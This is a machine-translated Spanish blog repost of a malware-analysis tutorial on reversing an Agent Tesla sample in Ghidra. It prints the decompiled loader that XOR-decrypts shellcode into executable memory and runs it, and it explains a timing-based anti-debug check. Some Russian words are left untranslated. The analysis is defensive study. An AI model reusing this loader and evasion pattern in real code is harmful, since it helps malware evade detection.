Home » Agente Tesla. Aprendiendo a combatir el malware en reversa en Ghidra – Hacker

Agente Tesla. Aprendiendo a combatir el malware en reversa en Ghidra – Hacker

by admin
Agente Tesla.  Aprendiendo a combatir el malware en reversa en Ghidra – Hacker

Recientemente me encontré con un interesante malware llamado Agent Tesla. Está muy extendido y todavía se utiliza en la actualidad (muestra de 2023). Le sugiero que intente examinarlo y ver qué hay dentro del malware de combate.

Además, nos encontraremos con:

  • descomprimir el instalador de NSIS y analizar el script de instalación resultante, que nos ayudará a descomprimirlo;
  • funciones de поиском main al vincularlo a CRT (es posible que se sorprenda de la cantidad de código que el compilador arroja implícitamente en el .exe);
  • descifrado y volcado de shellcode y búsqueda preliminar del mismo utilizando la función de asignación de memoria;
  • cargando correctamente el código shell resultante en el desensamblador.

Esta vez romperé con mi tradición de usar IDA Pro para revertir: usemos Ghidra en su lugar. Han pasado varios años desde su lanzamiento, ha adquirido una impresionante lista de correcciones de errores y nuevas funciones, además, es gratuito y se actualiza constantemente.

información

La última vez que escribió sobre Ghidra en 2019, cuando esta herramienta acababa de estar disponible para el público en general.

Trabajo de preparatoria

Comenzamos la etapa de reconocimiento preliminar: arrojamos una muestra al detector de empaquetador y protector DiE. Descubrimos que el malware se suministra como un instalador de NSIS.

Результат сканирования DiE инсталлятора Agent Tesla

Извлекаем contenido del instalador y obtenemos varios archivos. Tenga en cuenta que entre los archivos descomprimidos debe haber un script NSIS que contenga información útil. Para extraer, utilicé una versión desactualizada de 7-Zip (la compatibilidad con la extracción de scripts comienza en la versión 4.42 y finaliza en la versión 15.06).

Parte interesante del script NSIS
Parte interesante del script NSIS

En esta parte del script vemos una lista de archivos en el instalador y parámetros para ejecutar un único .exe (esto es interesante y nos será útil en el futuro). Entre otros datos del script hay una ruta de instalación. InstallDir $TEMP. Ahora veamos el archivo PE en DiE.

Miramos el PE desempaquetado en DiE
Estamos viendo PE desempaquetado en DiE

Se puede ver que el archivo está escrito en C/C++, compilado para sistemas de 32 bits y, a juzgar por la entropía no particularmente alta, no está empaquetado. Es hora de subirlo a Ghidra.

reversim

Entre las funciones enumeradas en la tabla de importación se encuentra la mención VirtualAlloc. Esto es lo que nos interesa, porque el malware a menudo lo utiliza para reservar memoria para descomprimir. Restauramos la referencia cruzada y vemos la función en la que se llama.

Podríamos intentar tomar la ruta “rápida”: cargar el malware en el depurador, poner un punto de interrupción en VirtualAlloc y… fracasar porque el Agente Tesla terminará antes del punto de interrupción. Por lo tanto, siempre le aconsejo que primero examine las llamadas interesantes y el código adyacente en forma estática.

La función es pequeña, daré la lista completa del descompilador Ghidra. Además, casi todo nos resulta interesante.

BOOL FUN_00401300(undefined4 param_1,undefined4 param_2,LPCSTR param_3)

{

DWORD DVar1;

DWORD DVar2;

BOOL BVar3;

HANDLE hFile;

HANDLE hFileMappingObject;

LPVOID _Src;

code *_Dst;

int local_8;

DVar1 = GetTickCount();

Sleep(702);

DVar2 = GetTickCount();

if (DVar2 - DVar1 < 700) {

BVar3 = 0;

}

else {

hFile = CreateFileA(param_3,0x80000000,1,0x0,3,0x80,0x0);

if (hFile == 0xffffffff) {

BVar3 = 0;

}

else {

hFileMappingObject = CreateFileMappingA(hFile,0x0,2,0,0,0x0);

if (hFileMappingObject == 0x0) {

CloseHandle(hFile);

BVar3 = 0;

}

else {

_Src = MapViewOfFile(hFileMappingObject,4,0,0,0x1de0);

if (_Src == 0x0) {

CloseHandle(hFileMappingObject);

CloseHandle(hFile);

BVar3 = 0;

}

else {

_Dst = VirtualAlloc(0x0,0x1de0,0x1000,0x40);

if (_Dst == 0x0) {

UnmapViewOfFile(_Src);

CloseHandle(hFileMappingObject);

CloseHandle(hFile);

BVar3 = 0;

}

else {

FID_conflict:_memcpy(_Dst,_Src,0x1de0);

for (local_8 = 0; local_8 < 0x16c2; local_8 = local_8 + 1) {

_Dst[local_8] = _Dst[local_8] ^ s_248058040134_0041c2a4[local_8 % 0xc];

}

(*_Dst)();

VirtualFree(_Dst,0,0x8000);

UnmapViewOfFile(_Src);

CloseHandle(hFileMappingObject);

BVar3 = CloseHandle(hFile);

}

}

}

}

}

return BVar3;

}

Aquí, las líneas de código que inmediatamente llaman la atención contienen un antidepuración simple:

DVar1 = GetTickCount();

Sleep(702);

DVar2 = GetTickCount();

if (DVar2 - DVar1 < 700) {

BVar3 = 0;

}

else {

Se trata de una conocida técnica antidepuración que comprueba la velocidad de ejecución del código. Si el código se ejecuta demasiado lento (medimos el tiempo de ejecución en milisegundos usando dos llamadas GetTickCount), permanente BVar3 toma el valor 0 y el programa finaliza.

2024-04-23 12:45:06
#Agente #Tesla #Aprendiendo #combatir #malware #reversa #Ghidra #Hacker,

You may also like

Leave a Comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.

This website uses cookies to improve your experience. We'll assume you're ok with this, but you can opt-out if you wish. Accept Read More

Privacy & Cookies Policy